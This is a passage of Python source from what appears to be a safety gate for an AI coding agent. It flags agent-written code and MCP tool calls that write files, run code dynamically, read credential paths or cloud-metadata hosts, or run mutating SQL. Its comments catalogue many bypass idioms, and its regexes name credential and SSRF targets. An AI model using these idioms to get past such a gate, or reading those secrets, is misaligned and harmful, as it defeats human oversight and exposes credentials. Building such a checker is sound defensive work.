elif isinstance(node, ast.ImportFrom):
|
|
if node.module == "operator":
|
|
for alias in node.names:
|
|
if alias.name == "methodcaller":
|
|
methodcaller_aliases.add(alias.asname or "methodcaller")
|
|
if node.module == "logging":
|
|
for alias in node.names:
|
|
if alias.name == "basicConfig":
|
|
basicconfig_aliases.add(alias.asname or "basicConfig")
|
|
if node.module == "builtins":
|
|
for alias in node.names:
|
|
if alias.name == "open":
|
|
open_aliases.add(alias.asname or "open")
|
|
elif alias.name in code_exec_aliases:
|
|
code_exec_aliases.add(alias.asname or alias.name)
|
|
if node.module in _OPEN_ALIAS_MODULES:
|
|
for alias in node.names:
|
|
if alias.name == "open":
|
|
# gzip/bz2/lzma open(file, mode) writes on "w"/"a"/"x",
|
|
# mode in the 2nd arg like builtin open.
|
|
open_aliases.add(alias.asname or "open")
|
|
if node.module == "pathlib":
|
|
for alias in node.names:
|
|
if alias.name in _PATH_CTORS:
|
|
path_ctor_aliases.add(alias.asname or alias.name)
|
|
if node.module in ("os.path", "posixpath", "ntpath"):
|
|
for alias in node.names:
|
|
if alias.name == "join":
|
|
pathjoin_aliases.add(alias.asname or "join")
|
|
if node.module == "functools":
|
|
for alias in node.names:
|
|
if alias.name == "partial":
|
|
partial_aliases.add(alias.asname or "partial")
|
|
if node.module in _ARCHIVE_CTOR_MODULES:
|
|
_ctor = _ARCHIVE_CTOR_MODULES[node.module]
|
|
for alias in node.names:
|
|
if alias.name == _ctor:
|
|
archive_ctor_aliases.add(alias.asname or _ctor)
|
|
for alias in node.names:
|
|
if alias.name in _AUTO_UNSAFE_PY_WRITE_METHODS:
|
|
writer_aliases.add(alias.asname or alias.name)
|
|
# from itertools import starmap as sm / from functools import
|
|
# reduce as r: an aliased higher-order invoker.
|
|
if alias.name in _HIGHER_ORDER_INVOKERS:
|
|
invoker_aliases.add(alias.asname or alias.name)
|
|
elif isinstance(node, (ast.Assign, ast.AnnAssign)) and node.value is not None:
|
|
value = node.value
|
|
# AnnAssign (f: object = open) has a single target, no destructuring.
|
|
if isinstance(node, ast.AnnAssign):
|
|
assign_targets = [node.target]
|
|
else:
|
|
assign_targets = node.targets
|
|
targets = [t.id for t in assign_targets if isinstance(t, ast.Name)]
|
|
attr_targets = [t.attr for t in assign_targets if isinstance(t, ast.Attribute)]
|
|
if isinstance(value, ast.Name) and value.id in open_aliases:
|
|
open_aliases.update(targets)
|
|
attr_open_aliases.update(attr_targets) # box.f = open
|
|
elif isinstance(value, ast.Name) and value.id in getattr_aliases:
|
|
getattr_aliases.update(targets) # g = getattr
|
|
elif isinstance(value, ast.Name) and value.id in partial_aliases:
|
|
partial_aliases.update(targets) # p = partial
|
|
elif isinstance(value, ast.Name) and value.id in writer_aliases:
|
|
writer_aliases.update(targets) # s = save (numpy save alias)
|
|
elif isinstance(value, ast.Name) and value.id in archive_ctor_aliases:
|
|
archive_ctor_aliases.update(targets) # z = ZipFile
|
|
elif isinstance(value, ast.Name) and value.id in invoker_aliases:
|
|
invoker_aliases.update(targets) # m = map
|
|
elif isinstance(value, ast.Name) and value.id in path_ctor_aliases:
|
|
path_ctor_aliases.update(targets) # P = Path
|
|
elif isinstance(value, ast.Name) and value.id in pathjoin_aliases:
|
|
pathjoin_aliases.update(targets) # j = join
|
|
elif isinstance(value, ast.Attribute) and value.attr == "join":
|
|
pathjoin_aliases.update(targets) # j = os.path.join
|
|
elif isinstance(value, ast.Attribute) and value.attr in _PATH_CTORS:
|
|
path_ctor_aliases.update(targets) # P = pathlib.Path
|
|
elif (
|
|
isinstance(value, ast.Attribute)
|
|
and value.attr == "open"
|
|
and isinstance(value.value, ast.Name)
|
|
and value.value.id in builtins_aliases
|
|
):
|
|
open_aliases.update(targets) # f = builtins.open
|
|
elif (
|
|
isinstance(value, ast.Attribute)
|
|
and value.attr in code_exec_aliases
|
|
and isinstance(value.value, ast.Name)
|
|
and value.value.id in builtins_aliases
|
|
):
|
|
code_exec_aliases.update(targets) # e = builtins.eval
|
|
elif isinstance(value, ast.Attribute) and value.attr in _AUTO_UNSAFE_PY_WRITE_METHODS:
|
|
writer_aliases.update(targets) # s = np.save
|
|
elif isinstance(value, ast.Attribute) and value.attr == "open":
|
|
# A captured .open bound method (p = Path('out').open) opens a file
|
|
# on any call; its mode position varies (Path.open mode is 1st arg,
|
|
# builtin open's is 2nd), so fail closed on the call rather than
|
|
# guess the write mode.
|
|
dynamic_aliases.update(targets) # p = Path('out').open; p('w')
|
|
elif isinstance(value, ast.Attribute) and value.attr in _ARCHIVE_CTOR_NAMES:
|
|
archive_ctor_aliases.update(targets) # z = zipfile.ZipFile
|
|
elif isinstance(value, ast.Subscript):
|
|
dynamic_aliases.update(targets) # f = globals()["open"]
|
|
elif (
|
|
isinstance(value, ast.Call)
|
|
and isinstance(value.func, ast.Name)
|
|
and value.func.id in getattr_aliases
|
|
):
|
|
dynamic_aliases.update(targets) # rm = getattr(os, "remove") / g(...)
|
|
elif (
|
|
isinstance(value, ast.Call)
|
|
and isinstance(value.func, ast.Attribute)
|
|
and value.func.attr in ("get", "pop", "setdefault")
|
|
and _is_dynamic_namespace(value.func.value)
|
|
):
|
|
# f = __builtins__.__dict__.get("open") / globals().get("open"):
|
|
# a namespace lookup can return open/eval, so poison like getattr.
|
|
dynamic_aliases.update(targets)
|
|
elif (
|
|
isinstance(value, ast.Call)
|
|
and (
|
|
(isinstance(value.func, ast.Name) and value.func.id in partial_aliases)
|
|
or (isinstance(value.func, ast.Attribute) and value.func.attr == "partial")
|
|
)
|
|
and value.args
|
|
and _wraps_write_callable(value.args[0])
|
|
):
|
|
dynamic_aliases.update(targets) # w = partial(open, mode="w")
|
|
elif (
|
|
isinstance(value, ast.Call)
|
|
and (
|
|
(isinstance(value.func, ast.Name) and value.func.id in methodcaller_aliases)
|
|
or (
|
|
isinstance(value.func, ast.Attribute)
|
|
and value.func.attr == "methodcaller"
|
|
and isinstance(value.func.value, ast.Name)
|
|
and value.func.value.id in operator_aliases
|
|
)
|
|
)
|
|
and _methodcaller_writes(value)
|
|
):
|
|
dynamic_aliases.update(targets) # w = methodcaller("write_text", ...)
|
|
elif isinstance(value, ast.Constant) and isinstance(value.value, str):
|
|
# base = '/etc' -> resolve base in a later folded path. A name
|
|
# bound more than once is poisoned (\x02) so it fails closed.
|
|
for t in targets:
|
|
literal_str_vars[t] = "\x02" if t in multi_assigned_names else value.value
|
|
elif isinstance(value, (ast.Call, ast.BinOp, ast.Name, ast.JoinedStr)):
|
|
# p = Path('/etc'); q = p; r = os.path.join('/etc','x'): record a
|
|
# fully-literal folded path so a later reuse (p / 'passwd') folds.
|
|
folded = _folded_path(value, literal_str_vars, path_ctor_aliases, pathjoin_aliases)
|
|
if folded is not None and "\x00" not in folded and "\x02" not in folded:
|
|
for t in targets:
|
|
literal_str_vars[t] = "\x02" if t in multi_assigned_names else folded
|
|
elif isinstance(value, (ast.Tuple, ast.List)):
|
|
# Destructuring binds each element like a single assignment, so an
|
|
# aliased callable (f, _ = (open, print)) AND a string / path
|
|
# literal (base, leaf = ('/etc', 'passwd')) both propagate; without
|
|
# the latter a path folded from base/leaf would miss the sensitive
|
|
# target and auto-approve.
|
|
for target in assign_targets:
|
|
if isinstance(target, (ast.Tuple, ast.List)) and len(target.elts) == len(
|
|
value.elts
|
|
):
|
|
for tgt_el, val_el in zip(target.elts, value.elts):
|
|
if not isinstance(tgt_el, ast.Name):
|
|
continue
|
|
tid = tgt_el.id
|
|
if isinstance(val_el, ast.Name) and val_el.id in open_aliases:
|
|
open_aliases.add(tid)
|
|
elif isinstance(val_el, ast.Name) and val_el.id in getattr_aliases:
|
|
getattr_aliases.add(tid)
|
|
elif isinstance(val_el, ast.Name) and val_el.id in partial_aliases:
|
|
partial_aliases.add(tid)
|
|
elif isinstance(val_el, ast.Name) and val_el.id in writer_aliases:
|
|
writer_aliases.add(tid) # s, _ = (save, 1)
|
|
elif isinstance(val_el, ast.Name) and val_el.id in archive_ctor_aliases:
|
|
archive_ctor_aliases.add(tid) # z, _ = (ZipFile, 1)
|
|
elif isinstance(val_el, ast.Constant) and isinstance(val_el.value, str):
|
|
literal_str_vars[tid] = (
|
|
"\x02" if tid in multi_assigned_names else val_el.value
|
|
)
|
|
elif isinstance(val_el, (ast.Call, ast.BinOp, ast.Name, ast.JoinedStr)):
|
|
folded = _folded_path(
|
|
val_el, literal_str_vars, path_ctor_aliases, pathjoin_aliases
|
|
)
|
|
if (
|
|
folded is not None
|
|
and "\x00" not in folded
|
|
and "\x02" not in folded
|
|
):
|
|
literal_str_vars[tid] = (
|
|
"\x02" if tid in multi_assigned_names else folded
|
|
)
|
|
elif isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)):
|
|
# A callable captured as a parameter default (def f(o=open): o('x','w'))
|
|
# binds that parameter to the same alias set, so a later call through
|
|
# the parameter is still gated. defaults align to the tail of
|
|
# posonlyargs+args; kw_defaults align 1:1 with kwonlyargs (None = none).
|
|
_a = node.args
|
|
_defaulted = list(
|
|
zip(
|
|
(_a.posonlyargs + _a.args)[
|
|
len(_a.posonlyargs) + len(_a.args) - len(_a.defaults) :
|
|
],
|
|
_a.defaults,
|
|
)
|
|
) + [(p, d) for p, d in zip(_a.kwonlyargs, _a.kw_defaults) if d is not None]
|
|
for _param, _default in _defaulted:
|
|
if isinstance(_default, ast.Name):
|
|
_did = _default.id
|
|
if _did in open_aliases:
|
|
open_aliases.add(_param.arg)
|
|
elif _did in writer_aliases:
|
|
writer_aliases.add(_param.arg)
|
|
elif _did in archive_ctor_aliases:
|
|
archive_ctor_aliases.add(_param.arg)
|
|
elif _did in getattr_aliases:
|
|
getattr_aliases.add(_param.arg)
|
|
elif _did in partial_aliases:
|
|
partial_aliases.add(_param.arg)
|
|
elif _did in code_exec_aliases:
|
|
code_exec_aliases.add(_param.arg)
|
|
elif _did in dynamic_aliases:
|
|
dynamic_aliases.add(_param.arg)
|
|
elif isinstance(_default, ast.Attribute):
|
|
# An attribute writer / archive ctor / captured .open used as
|
|
# a default (def f(s=np.save), def f(z=zipfile.ZipFile),
|
|
# def f(o=Path('x').open)) binds the parameter like the
|
|
# equivalent assignment; a benign attribute (np.mean) does not.
|
|
if _default.attr in _AUTO_UNSAFE_PY_WRITE_METHODS:
|
|
writer_aliases.add(_param.arg)
|
|
elif _default.attr in _ARCHIVE_CTOR_NAMES:
|
|
archive_ctor_aliases.add(_param.arg)
|
|
elif _default.attr == "open":
|
|
dynamic_aliases.add(_param.arg)
|
|
elif (
|
|
isinstance(_default, ast.Call)
|
|
and (
|
|
(
|
|
isinstance(_default.func, ast.Name)
|
|
and _default.func.id in partial_aliases
|
|
)
|
|
or (
|
|
isinstance(_default.func, ast.Attribute)
|
|
and _default.func.attr == "partial"
|
|
)
|
|
)
|
|
and _default.args
|
|
and _wraps_write_callable(_default.args[0])
|
|
):
|
|
dynamic_aliases.add(_param.arg) # def f(w=partial(open, mode="w"))
|
|
try:
|
|
for node in ast.walk(tree):
|
|
if isinstance(node, ast.Import):
|
|
for alias in node.names:
|
|
if alias.name.split(".")[0] in _AUTO_UNSAFE_PY_MODULES:
|
|
return True
|
|
elif isinstance(node, ast.ImportFrom):
|
|
if node.module and node.module.split(".")[0] in _AUTO_UNSAFE_PY_MODULES:
|
|
return True
|
|
# from-imports can bind mutating callables to bare names
|
|
# (from os import remove [as rm]); star imports hide anything.
|
|
for alias in node.names:
|
|
if alias.name == "*" or alias.name in _AUTO_UNSAFE_PY_ATTRS:
|
|
return True
|
|
# os.open imported as a bare callable is a low-level
|
|
# create/write, like the os.open attribute call below.
|
|
if alias.name == "open" and node.module in ("os", "posix"):
|
|
return True
|
|
elif isinstance(node, ast.Attribute):
|
|
# Any reference to a mutating attribute fails closed, even
|
|
# without an immediate call (rm = os.remove; rm("x")).
|
|
if node.attr in _AUTO_UNSAFE_PY_ATTRS:
|
|
return True
|
|
# builtins.exec / builtins.eval / builtins.__import__ (and
|
|
# compile/breakpoint) are dynamic code execution, matching the
|
|
# bare-name code_exec_aliases path; __builtins__.__import__(...)
|
|
# is a dynamic import that dodges the static import check.
|
|
if (
|
|
node.attr in ("exec", "eval", "__import__", "breakpoint", "compile")
|
|
and isinstance(node.value, ast.Name)
|
|
and node.value.id in builtins_aliases
|
|
):
|
|
return True
|
|
elif isinstance(node, ast.Name):
|
|
if node.id in code_exec_aliases:
|
|
return True
|
|
elif isinstance(node, ast.Constant):
|
|
# Credential paths / parent traversal in a string or bytes
|
|
# literal (open('/etc/passwd') and open(b'/etc/passwd')), or a
|
|
# glob that resolves to one (glob.glob('/e??/passwd')).
|
|
val = node.value
|
|
if isinstance(val, bytes):
|
|
val = val.decode("latin-1", "ignore")
|
|
if isinstance(val, str) and (
|
|
_references_sensitive_path(val) or _glob_token_sensitive(val)
|
|
):
|
|
return True
|
|
elif isinstance(node, (ast.BinOp, ast.JoinedStr)):
|
|
# A sensitive path concatenated from literals ('/etc'+'/passwd'),
|
|
# a pathlib / chain, an f-string (f'/proc/{pid}/environ'), a
|
|
# dynamic segment under a sensitive dir (f'/etc/{name}'), or one
|
|
# split through a literal variable (base = '/etc'; base+'/passwd').
|
|
if _folded_is_sensitive(
|
|
_folded_path(node, literal_str_vars, path_ctor_aliases, pathjoin_aliases)
|
|
):
|
|
return True
|
|
elif isinstance(node, ast.Call):
|
|
# A sensitive path composed via os.path.join('/etc', name).
|
|
if _folded_is_sensitive(
|
|
_folded_path(node, literal_str_vars, path_ctor_aliases, pathjoin_aliases)
|
|
):
|
|
return True
|
|
func = node.func
|
|
# x.__call__(args) is just x(args): unwrap so open.__call__('o',
|
|
# 'w') / save.__call__(...) reach the open/writer checks below
|
|
# instead of looking like a harmless ".__call__" attribute call.
|
|
if isinstance(func, ast.Attribute) and func.attr == "__call__":
|
|
func = func.value
|
|
if isinstance(func, (ast.Call, ast.Subscript)):
|
|
return True # calling a call/subscript result is dynamic
|
|
# A concrete write callable (open/writer/archive-ctor alias, or a
|
|
# writer/mutating attribute) handed as an argument to any call
|
|
# escapes into a helper that can invoke it without a direct
|
|
# open()/writer site -- the same bypass the map/starmap/reduce
|
|
# branches below gate, but through a user-defined helper
|
|
# (def run(fn): fn('o','w').write('x'); run(open)). A benign
|
|
# callable argument (run(len)) is unaffected.
|
|
if any(_passed_write_callable(a) for a in node.args) or any(
|
|
_passed_write_callable(kw.value) for kw in node.keywords
|
|
):
|
|
return True
|
|
if isinstance(func, ast.Name):
|
|
if func.id in dynamic_aliases:
|
|
return True # call through a getattr alias is dynamic
|
|
if func.id in open_aliases and _builtin_open_writes(node):
|
|
return True
|
|
# A writer imported as a bare name (from numpy import save).
|
|
if func.id in writer_aliases:
|
|
return True
|
|
# A bare archive constructor (from zipfile import ZipFile)
|
|
# takes the mode as its 2nd arg like open, so ZipFile(x, "w")
|
|
# writes but ZipFile(x) reads.
|
|
if func.id in archive_ctor_aliases and _builtin_open_writes(node):
|
|
return True
|
|
# A bare-imported logging.basicConfig(filename=...) opens a
|
|
# log file for writing (from logging import basicConfig).
|
|
if func.id in basicconfig_aliases and _basicconfig_writes(node):
|
|
return True
|
|
# A writer/open alias handed to a higher-order invoker
|
|
# (map(open, names, modes), starmap(np.save, ...), or an
|
|
# aliased m = map / sm = starmap) is called without a direct
|
|
# open(...)/save(...) site; the callable is the first
|
|
# positional arg. A benign map(len, ...) is unaffected.
|
|
if (
|
|
func.id in invoker_aliases
|
|
and node.args
|
|
and _wraps_write_callable(node.args[0])
|
|
):
|
|
return True
|
|
elif isinstance(func, ast.Attribute):
|
|
# Writer methods persist to disk without open() (np.save,
|
|
# img.save, plt.savefig, df.to_csv, json.dump); ask before
|
|
# they mutate the workdir in auto mode.
|
|
if func.attr in _AUTO_UNSAFE_PY_WRITE_METHODS:
|
|
return True
|
|
# logging.basicConfig(filename=...) opens a log file for write.
|
|
if func.attr == "basicConfig" and _basicconfig_writes(node):
|
|
return True
|
|
# A qualified higher-order invoker (itertools.starmap(open, ...),
|
|
# functools.reduce(open, ...)) calls its first arg like the bare
|
|
# map/filter form; the writer-check on that arg keeps a benign
|
|
# itertools.starmap(len, ...) / df.map(transform) safe.
|
|
if (
|
|
func.attr in _HIGHER_ORDER_INVOKERS
|
|
and node.args
|
|
and _wraps_write_callable(node.args[0])
|
|
):
|
|
return True
|
|
# fileinput.input(..., inplace=True) rewrites a file in place;
|
|
# the default fileinput.input(...) only reads, so gate inplace.
|
|
if (
|
|
func.attr == "input"
|
|
and isinstance(func.value, ast.Name)
|
|
and func.value.id in fileinput_aliases
|
|
and _fileinput_inplace(node)
|
|
):
|
|
return True
|
|
# os.open() always creates/writes a file descriptor
|
|
# (tracked through import aliases: import os as o; o.open()).
|
|
if (
|
|
func.attr == "open"
|
|
and isinstance(func.value, ast.Name)
|
|
and func.value.id in os_aliases
|
|
):
|
|
return True
|
|
# A pickle-backed loader (torch.load, joblib.load) can execute
|
|
# code embedded in the file it deserializes.
|
|
if (
|
|
func.attr == "load"
|
|
and isinstance(func.value, ast.Name)
|
|
and func.value.id in load_module_aliases
|
|
):
|
|
return True
|
|
if func.attr == "open" and _attr_open_writes(node):
|
|
return True
|
|
# An open bound onto an attribute (box.f = open; box.f('o','w'))
|
|
# writes on 'w'/'a'/'x' like the builtin, so gate the attr name.
|
|
if func.attr in attr_open_aliases and _builtin_open_writes(node):
|
|
return True
|
|
# ZipFile/TarFile/GzipFile/BZ2File/LZMAFile take the mode as
|
|
# the 2nd arg (like builtin open), so ZipFile(name, "w") writes
|
|
# but ZipFile(name) reads.
|
|
if func.attr in _ARCHIVE_CTOR_NAMES and _builtin_open_writes(node):
|
|
return True
|
|
# Enumerating a directory outside the sandbox reads host
|
|
# filenames (and enables reading their contents) the direct
|
|
# /etc/passwd checks would prompt for: Path('/etc').iterdir(),
|
|
# os.scandir('/etc'), os.listdir('/home'), os.walk('/'),
|
|
# Path('/home').glob('*'), glob.glob('/home/*'). Gate when the
|
|
# target dir folds to an absolute/tilde/sensitive path; a
|
|
# relative dir (Path('.').iterdir(), glob.glob('src/*')) stays
|
|
# safe, and an unresolved dynamic dir is left to other checks.
|
|
_enum_dir = None
|
|
if func.attr == "iterdir":
|
|
_enum_dir = func.value
|
|
elif func.attr in ("glob", "rglob", "iglob"):
|
|
# Path('/home').glob('*') enumerates the receiver dir;
|
|
# glob.glob('/home/*') enumerates the pattern's root dir.
|
|
_recv = _folded_path(
|
|
func.value, literal_str_vars, path_ctor_aliases, pathjoin_aliases
|
|
)
|
|
if isinstance(_recv, str) and _recv not in ("", "\x00"):
|
|
_enum_dir = func.value
|
|
elif node.args:
|
|
_enum_dir = node.args[0]
|
|
elif (
|
|
func.attr in ("scandir", "listdir", "walk")
|
|
and isinstance(func.value, ast.Name)
|
|
and func.value.id in os_aliases
|
|
and node.args
|
|
):
|
|
_enum_dir = node.args[0]
|
|
if _enum_dir is not None:
|
|
_folded_dir = _folded_path(
|
|
_enum_dir, literal_str_vars, path_ctor_aliases, pathjoin_aliases
|
|
)
|
|
if isinstance(_folded_dir, str) and (
|
|
_folded_dir.startswith("/")
|
|
or _folded_dir.startswith("~")
|
|
or _folded_is_sensitive(_folded_dir)
|
|
):
|
|
return True
|
|
except Exception:
|
|
return True # unexpected AST shape: fail closed
|
|
return False
|
|
|
|
|
|
# Cloud-metadata / link-local hosts (mirrors the sandbox SSRF blocklist): a
|
|
# read-named HTTP MCP tool pointed at one (fetch_url
|
|
# {"url": "http://169.254.169.254/..."}) reads instance credentials, so it asks.
|
|
_MCP_METADATA_HOST_RE = re.compile(
|
|
r"169\.254\.\d{1,3}\.\d{1,3}|"
|
|
r"100\.100\.100\.\d{1,3}|"
|
|
r"fd00:ec2::254|"
|
|
r"metadata\.google\.internal|"
|
|
r"metadata\.tencentyun\.com|"
|
|
r"://metadata(?=[:/])",
|
|
re.IGNORECASE,
|
|
)
|
|
|
|
|
|
# Argument names that carry a credential outward regardless of their value.
|
|
_MCP_CREDENTIAL_KEY_RE = re.compile(
|
|
r"^(?:authorization|proxy-authorization|cookie|set-cookie|"
|
|
r"x-api-key|api[-_]?key|apikey|x-auth-token|auth[-_]?token|access[-_]?token|"
|
|
r"refresh[-_]?token|id[-_]?token|bearer|private[-_]?key|secret[-_]?key|"
|
|
r"client[-_]?secret|password|passwd|session[-_]?token)$",
|
|
re.IGNORECASE,
|
|
)
|
|
|
|
|
|
def _mcp_arguments_reference_sensitive(arguments) -> bool:
|
|
"""True if any string in an MCP call's arguments names a credential path, a
|
|
credential/secret environment variable (get_env {"name": "OPENAI_API_KEY"}),
|
|
or a cloud-metadata host (fetch_url {"url": "http://169.254.169.254/..."})."""
|
|
|
|
def key_is_credential(key) -> bool:
|
|
return isinstance(key, str) and bool(_MCP_CREDENTIAL_KEY_RE.match(key.strip()))
|
|
|
|
def walk(value, is_prose: bool = False) -> bool:
|
|
if isinstance(value, str):
|
|
# A path can be carried under any argument name, so prose keys are
|
|
# skipped rather than path keys allowlisted: an issue body mentioning
|
|
# a credential file is text to store, not a file to open.
|
|
if is_prose:
|
|
return False
|
|
return (
|
|
_references_sensitive_path(value)
|
|
or bool(_AUTO_SENSITIVE_MCP_NOUN_RE.search(value))
|
|
or bool(_MCP_METADATA_HOST_RE.search(value))
|
|
)
|
|
if isinstance(value, dict):
|
|
if any(key_is_credential(k) for k in value):
|
|
return True
|
|
return any(
|
|
walk(v, is_prose or (isinstance(k, str) and k.lower() in _MCP_PROSE_KEYS))
|
|
for k, v in value.items()
|
|
)
|
|
if isinstance(value, (list, tuple)):
|
|
return any(walk(v, is_prose) for v in value)
|
|
return False
|
|
|
|
return walk(arguments)
|
|
|
|
|
|
# DDL object types CREATE / DROP / ALTER share (DROP FUNCTION and ALTER INDEX
|
|
# mutate just like CREATE INDEX).
|
|
_SQL_DDL_OBJECTS = (
|
|
r"table|database|schema|index|view|function|procedure|trigger|"
|
|
r"sequence|role|user|extension|type|domain|aggregate|policy"
|
|
)
|
|
# Modifiers between the DDL verb and object (CREATE OR REPLACE VIEW, DROP
|
|
# MATERIALIZED VIEW, CREATE UNIQUE INDEX).
|
|
_SQL_DDL_MODIFIERS = (
|
|
r"(?:(?:or\s+replace|unique|temp|temporary|global|local|materialized|recursive)\s+)*"
|
|
)
|
|
# A SQL identifier (bare, "quoted", `quoted`, [bracketed]), optionally
|
|
# schema-qualified, so UPDATE "users"/public.users/ONLY .../[users] SET all hit.
|
|
_SQL_IDENT = r'(?:\w+|"(?:[^"]|"")*"|`(?:[^`]|``)*`|\[[^\]]+\])'
|
|
_SQL_UPDATE_TARGET = r"(?:only\s+)?" + _SQL_IDENT + r"(?:\s*\.\s*" + _SQL_IDENT + r")*"
|
|
# A read-named MCP tool (query_database, run_query) can still carry a mutating
|
|
# SQL statement; match DML/DDL as whole statements (DELETE FROM, DROP TABLE) so
|
|
# a natural-language query that merely contains the word "delete" stays safe.
|
|
_MCP_ARG_MUTATION_RE = re.compile(
|
|
r"\b(?:delete\s+from|"
|
|
r"drop\s+" + _SQL_DDL_MODIFIERS + r"(?:" + _SQL_DDL_OBJECTS + r")|"
|
|
# Match the whole identifier (the outer trailing \b needs the alternative to
|
|
# end on a word boundary, so a bare \w stops mid-name and TRUNCATE users slips
|
|
# through); the optional opening quote/bracket/backtick covers "users"/[users].
|
|
r"truncate\s+(?:table\s+)?[\"\[`]?\w+|"
|
|
# UPDATE <target> [AS alias] SET: allow an explicit AS alias before SET so
|
|
# UPDATE users AS u SET is caught, not just the bare form. The implicit-alias
|
|
# form (UPDATE users u SET) is left out because it is indistinguishable from
|
|
# the prose "update <noun> <noun> set" and would flag natural language.
|
|
r"update\s+" + _SQL_UPDATE_TARGET + r"(?:\s+as\s+" + _SQL_IDENT + r")?\s+set\b|"
|
|
r"insert\s+into|replace\s+into|"
|
|
# SELECT ... INTO OUTFILE/DUMPFILE writes a file (MySQL); bare SELECT INTO
|
|
# <table> is left out (PL/pgSQL uses it to read into a variable).
|
|
r"select\s+[^;]*?\binto\s+(?:outfile|dumpfile)\b|"
|
|
# ALTER SYSTEM persists PostgreSQL server configuration; SYSTEM is not one of
|
|
# the DDL objects above, so match it explicitly.
|
|
r"alter\s+system\b|"
|
|
r"alter\s+" + _SQL_DDL_MODIFIERS + r"(?:" + _SQL_DDL_OBJECTS + r")|"
|
|
r"create\s+" + _SQL_DDL_MODIFIERS + r"(?:" + _SQL_DDL_OBJECTS + r")|"
|
|
r"grant\s+\w+|revoke\s+\w+|merge\s+into|"
|
|
# Catalog mutations: COMMENT ON <obj>, SECURITY LABEL, and LOCK TABLE change
|
|
# metadata or take a lock. Each needs a following keyword, so a "comment"
|
|
# column (SELECT comment FROM t) or "locks" table stays safe.
|
|
r"comment\s+on\b|security\s+label\b|lock\s+table\b|"
|
|
# PostgreSQL maintenance writes: REFRESH MATERIALIZED VIEW rewrites the view,
|
|
# REINDEX rebuilds an index. Both need a following object keyword/name, so a
|
|
# column or word "refresh"/"reindex" in prose stays safe.
|
|
r"refresh\s+materialized\s+view|reindex\s+\w+|"
|
|
# CALL proc(...) / EXEC[UTE] name / VACUUM mutate; CALL needs a following
|
|
# "(", ";", or end so natural-language "call me back" stays safe.
|
|
r"call\s+\w+(?=\s*[(;]|\s*$)|exec(?:ute)?\s+\w+|vacuum|"
|
|
# COPY ... FROM bulk-loads and COPY ... TO writes a file ([^;] stays in one
|
|
# statement).
|
|
r"copy\s+[^;]*?\b(?:from|to)\b)\b",
|
|
re.IGNORECASE,
|
|
)
|
|
# SQLite statements the base regex misses: ATTACH/DETACH a database (DATABASE
|
|
# optional via the quoted-path form), a write-form PRAGMA (name=value / name(...),
|
|
# unlike the read-form PRAGMA name), and load_extension() which runs a shared
|
|
# library. These tokens are not natural language, so benign text does not trip.
|
|
_MCP_ARG_SQLITE_MUTATION_RE = re.compile(
|
|
r"\b(?:attach|detach)\s+database\b"
|
|
r"|\battach\s+(?:database\s+)?['\"]"
|
|
r"|\bpragma\s+\w+(?:\.\w+)?\s*(?:=|\()"
|
|
r"|\bload_extension\s*\(",
|
|
re.IGNORECASE,
|
|
)
|
|
# State-changing SQL functions that mutate or write files inside a read-shaped
|
|
# SELECT (pg_terminate_backend, setval, pg_write_file, lo_export, ...). The
|
|
# trailing "(" is required, so a column named setval_count stays safe.
|
|
_MCP_ARG_SQL_FUNCTION_RE = re.compile(
|
|
r"\b(?:pg_terminate_backend|pg_cancel_backend|pg_write_file|lo_export|"
|
|
r"lo_import|setval|nextval|set_config|pg_notify|dblink_exec|pg_reload_conf|"
|
|
r"pg_rotate_logfile|"
|
|
# advisory locks change session/transaction lock state (read-shaped SELECT).
|
|
r"pg_advisory_(?:lock|lock_shared|unlock|unlock_shared|unlock_all|"
|
|
r"xact_lock|xact_lock_shared)|"
|
|
r"pg_try_advisory_(?:lock|lock_shared|xact_lock|xact_lock_shared))\s*\(",
|
|
re.IGNORECASE,
|
|
)
|
|
# SQL engines treat /* */ and -- comments as whitespace, so DELETE/**/FROM and
|
|
# UPDATE/**/users evade the \s+ in the mutation regex; collapse comments to a
|
|
# space before matching.
|
|
_SQL_COMMENT_RE = re.compile(r"/\*.*?\*/|--[^\n]*", re.DOTALL)
|
|
# A GraphQL mutation on a read-named tool. Directives are valid between the name
|
|
# and body (mutation M @audit { ... }), so allow @directive[(args)] before ( or {.
|
|
_GRAPHQL_MUTATION_RE = re.compile(
|
|
r"\bmutation\b\s*\w*\s*(?:@\w+(?:\s*\([^)]*\))?\s*)*[({]", re.IGNORECASE
|
|
)
|
|
# GraphQL # comments run to end-of-line and count as whitespace, so a comment
|
|
# between `mutation` and the body (mutation # note\n { ... }) would otherwise
|
|
# hide it; collapse them to a space before matching.
|
|
_GRAPHQL_COMMENT_RE = re.compile(r"#[^\n]*")
|
|
|
|
|
|
# HTTP verbs that mutate the target resource; a generic HTTP MCP tool
|
|
# (mcp__http__get_url {"method": "DELETE"}) mutates an external service even
|
|
# though its name looks read-only. GET/HEAD/OPTIONS/TRACE only read.
|
|
_MUTATING_HTTP_METHODS = frozenset({"POST", "PUT", "PATCH", "DELETE"})
|
|
_HTTP_METHOD_KEYS = frozenset({"method", "http_method", "httpmethod", "verb", "http_verb"})
|
|
|
|
|
|
# Argument names that carry free text the tool stores or displays rather than
|
|
# acts on, so a path or a statement mentioned inside them is a mention.
|
|
_MCP_PROSE_KEYS = frozenset(
|
|
{
|
|
"text",
|
|
"body",
|
|
"message",
|
|
"msg",
|
|
"description",
|
|
"comment",
|
|
"content",
|
|
"title",
|
|
"summary",
|
|
"note",
|
|
"notes",
|
|
"prompt",
|
|
"caption",
|
|
"reason",
|
|
"markdown",
|
|
"blocks",
|
|
"detail",
|
|
"details",
|
|
"context",
|
|
}
|
|
)
|
|
# Argument names that carry a statement the tool will execute, as opposed to
|
|
# free text the tool will merely store or display.
|
|
_MCP_QUERY_KEYS = frozenset(
|
|
{
|
|
"query",
|
|
"sql",
|
|
"statement",
|
|
"stmt",
|
|
"command",
|
|
"cmd",
|
|
"script",
|
|
"expression",
|
|
"expr",
|
|
"filter",
|
|
"pipeline",
|
|
"aggregate",
|
|
"mutation",
|
|
"operation",
|
|
"graphql",
|
|
"queries",
|
|
"statements",
|
|
"commands",
|
|
}
|
|
)
|
|
|
|
|
|
def _mcp_arguments_mutate(arguments) -> bool:
|
|
"""True if an MCP call's arguments carry a mutating command, so a read-named
|
|
but write-capable tool (query_database {"query": "DELETE FROM runs"},
|
|
query_graphql {"query": "mutation { deleteIssue(id: 1) }"}, or an HTTP tool
|
|
{"method": "DELETE"}) asks."""
|
|
|
|
def walk(value, in_query: bool = False) -> bool:
|
|
if isinstance(value, str):
|
|
# Prose that merely mentions DELETE FROM (a chat message, an issue
|
|
# body) is not a statement this call will run.
|
|
if not in_query:
|
